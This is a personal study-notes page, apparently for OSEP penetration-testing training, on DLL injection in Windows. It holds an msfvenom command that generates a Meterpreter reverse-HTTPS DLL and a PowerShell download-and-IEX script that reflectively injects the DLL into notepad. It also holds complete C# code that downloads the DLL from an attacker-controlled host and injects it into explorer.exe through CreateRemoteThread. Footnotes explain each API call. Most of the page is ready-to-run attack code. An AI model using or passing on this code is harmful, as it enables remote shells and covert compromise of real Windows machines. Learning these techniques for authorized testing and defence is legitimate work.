> For the complete documentation index, see [llms.txt](https://osnotes.jackielam.net/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://osnotes.jackielam.net/osep/attack/evasions/c-dll-injection.md).

# C# DLL Injection

{% code title="shell.dll to inject" overflow="wrap" %}

```
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f dll -o shell.dll
```

{% endcode %}

```
python -m http.server 80
```

## \*Reflective DLL injection to process with Powershell in-memory

{% embed url="<https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1>" %}
support dll or exe byte array in -PEBytes
{% endembed %}

{% file src="/files/Fma5vTQj9p9ccwBFY0tR" %}
fixed ver
{% endfile %}

{% hint style="info" %}
Note that the public version of this script fails on versions of Windows 10 1803 or newer due to the multiple instances of *GetProcAddress* in *UnsafeNativeMethods*. Luckily, we have already solved this issue previously and the version of the script here has been updated to avoid this.
{% endhint %}

{% code title="rev.ps1" overflow="wrap" fullWidth="true" %}

```powershell
$bytes = (New-Object System.Net.WebClient).DownloadData('http://127.0.0.1/shell.dll');
(New-Object Net.WebClient).DownloadString('http://127.0.0.1/Invoke-ReflectivePEInjection.ps1') | IEX;
$procid = (Get-Process -Name notepad).Id;
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid
```

{% endcode %}

{% hint style="warning" %}
powershell -ep bypass
{% endhint %}

{% hint style="info" %}
Note that we could also inject DLLs reflectively from C#, but there are no public C# proof-of-concepts that perform remote process injection. However, [*PELoader* ](https://github.com/Arno0x/CSharpScripts/blob/master/peloader.cs)demonstrates local process injection.
{% endhint %}

## On disk DLL injection to process

<pre class="language-csharp" data-title="injectdllshell.exe" data-overflow="wrap" data-line-numbers data-full-width="true"><code class="lang-csharp">using System;
using System.Diagnostics;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;

namespace Inject
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
        public static extern IntPtr GetModuleHandle(string lpModuleName);

        static void Main(string[] args)
        {

            String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
            String dllName = dir + "\\met.dll";

            WebClient wc = new WebClient();
            wc.<a data-footnote-ref href="#user-content-fn-1">DownloadFile</a>("<a data-footnote-ref href="#user-content-fn-2">http://192.168.119.120</a>/<a data-footnote-ref href="#user-content-fn-3">met.dll</a>", dllName);

            <a data-footnote-ref href="#user-content-fn-4">Process[] expProc = Process.GetProcessesByName("explorer");</a>
            int pid = expProc[0].Id;

           <a data-footnote-ref href="#user-content-fn-5"> IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);</a>
            <a data-footnote-ref href="#user-content-fn-6">IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);</a>
            IntPtr outSize;
           <a data-footnote-ref href="#user-content-fn-7"> Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);</a>
            <a data-footnote-ref href="#user-content-fn-8">IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");</a>
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, <a data-footnote-ref href="#user-content-fn-9">loadLib</a>, <a data-footnote-ref href="#user-content-fn-10">addr</a>, 0, IntPtr.Zero);
        }
    }
}
</code></pre>

[^1]: Downloading the DLL and writing it to disk

[^2]: ```
    python -m http.server 80
    ```

[^3]: `sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f dll -o met.dll`

[^4]: resolve the process ID of explorer.exe

[^5]: opening a channel from one process to another - the explorer.exe PID resolved just now

[^6]: allocate memory in the remote process that is readable and writable

[^7]: copy the path and name of the DLL into the allocated memory space

[^8]: resolve the memory address of `LoadLibrayA` inside the remote process

    most native Windows DLLs are allocated at the same base address across processes, so the address of `LoadLibraryA` in our current process will be the same as in the remote

[^9]: starting address

[^10]: argument address
